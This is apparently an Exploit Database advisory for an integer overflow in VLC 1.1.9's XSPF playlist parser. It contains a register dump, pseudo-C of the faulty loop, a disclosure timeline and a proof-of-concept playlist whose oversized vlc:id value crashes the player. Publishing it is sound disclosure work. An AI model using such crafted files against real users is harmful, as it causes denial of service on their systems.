VideoLAN VLC Media Player 1.1.9 – XSPF Playlist Local File Integer Overflow

• Exploit Database
• 37 阅读

• 作者： TecR0c
  日期： 2011-06-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17372/

• TITLE 
  
  	VLC Media Player XSPF Local File Integer overflow in XSPF playlist parser
  
  AFFECTED VERSIONS
  
  	VLC media player 1.1.9 down to 0.8.5
  
  VENDOR
  
  	VideoLAN Organisation
  
  CLASS
  
  	Denial of Service (DoS)
  
  RESOURCES
  
  	http://www.videolan.org/security/sa1104.html
  
  
  PRODUCT DESCRIPTION
  	
  	VLC is a free and open source cross-platform multimedia player and
  	framework that plays most multimedia files as well as DVD, Audio CD,
  	VCD, and various streaming protocols.
  
  TECHNICAL DETAILS
  
  	XSPF file is the XML format for sharing playlists.
  	A sample of the XSPF document is as follows:
  
  	<?xml version="1.0" encoding="UTF-8"?>
  	<playlist version="1" xmlns="http://xspf.org/ns/0/">
  	<trackList>
  		<track><location>file:///crash/tecr0c.mp3</location></track>
  	</trackList>
  	</playlist>
  
  	The VLC XSPF file uses a tag <vlc:id></vlc:id> in the component Demuxers: Playlist 
  	which accepts decimal values for the vlc:id. When entering a large value that is 
  	beyond the memory segment that is allocated for program data the program crashes.
  	Setting <vlc:id> value to 1073741823,e.g. <vlc:id>1073741823</vlc:id> 
  	will results in a MEMORY ACCESS VIOLATION and the application crash.
  
  	The vulnerable code in module libplaylist_plugin.dll looks like (pseudo C code example):
  
  do
  {
  __counter += 8;
  mem->dword0 = 0;
  mem->dword4 = 0;
  mem->dword8 = 0;
  mem->dwordC = 0;
  mem->dword10 = 0;
  mem->dword14 = 0;
  mem->dword18 = 0;
  mem->dword1C = 0;
  ++mem; <-- violation happens here when mem value is greater then memory segment
  }
  while ( __counter <= __controlled_value_edx );
  }
  };
  
  	Once we hit an address that does not exist we will result in a Denial of Service condition.
  
  	EAX 01A97FE8
  	ECX 00003320
  	EDX 3FFFFFFF <--------------- Value we control
  	EBX 01A972F8
  	ESP 02B6FBA8
  	EBP 02B6FCC0
  	ESI 00000007
  	EDI 01A8B388
  	EIP 7024FA5E libplayl.7024FA5E
  	C 0ES 0023 32bit 0(FFFFFFFF)
  	P 0CS 001B 32bit 0(FFFFFFFF)
  	A 1SS 0023 32bit 0(FFFFFFFF)
  	Z 0DS 0023 32bit 0(FFFFFFFF)
  	S 0FS 003B 32bit 7FFAF000(FFF)
  	T 0GS 0000 NULL
  	D 0
  	O 0LastErr ERROR_SUCCESS (00000000)
  	EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
  	ST0 empty +UNORM 6900 00AECAB0 00ADEB10
  	ST1 empty +UNORM 000B 003F0428 694C2808
  	ST2 empty -UNORM EB10 00AECAB0 00ADEB10
  	ST3 empty 0.9999999999999573674
  	ST4 empty 0.5000000000000000000
  	ST5 empty 0.9999999999999573674
  	ST6 empty 0.0
  	ST7 empty 559.00000000000000000
  	 3 2 1 0E S P U O Z D I
  	FST 0020Cond 0 0 0 0Err 0 0 1 0 0 0 0 0(GT)
  	FCW 027FPrec NEAR,53Mask1 1 1 1 1 1
  
  	
  	End of block:
  	01A97FE800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00................
  	01A97FF800 00 00 00 00 00 00 00........
  
  PROOF OF CONCEPT (PoC)
  
  	<?xml version="1.0" encoding="UTF-8"?>
  	<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
  		<title>Playlist</title>
  		<trackList>
  			<track>
  				<location>file:///C:/Users/tecr0c/Desktop/tecr0c-win.mp3</location>
  				<duration>992</duration>
  				<extension application="http://www.videolan.org/vlc/playlist/0">
  					<vlc:id>1073741823</vlc:id>
  				</extension>
  			</track>
  		</trackList>
  		<extension application="http://www.videolan.org/vlc/playlist/0">
  				<vlc:item tid="0" />
  		</extension>
  	</playlist>
  
  FIX
  
  	VLC Media Player 1.1.10
  
  TIMELINE
  
  	03062011	Contacted vendor with PoC
  	05062011	Bug fixed by vendor
  	08062011	Patch release to public in 1.1.10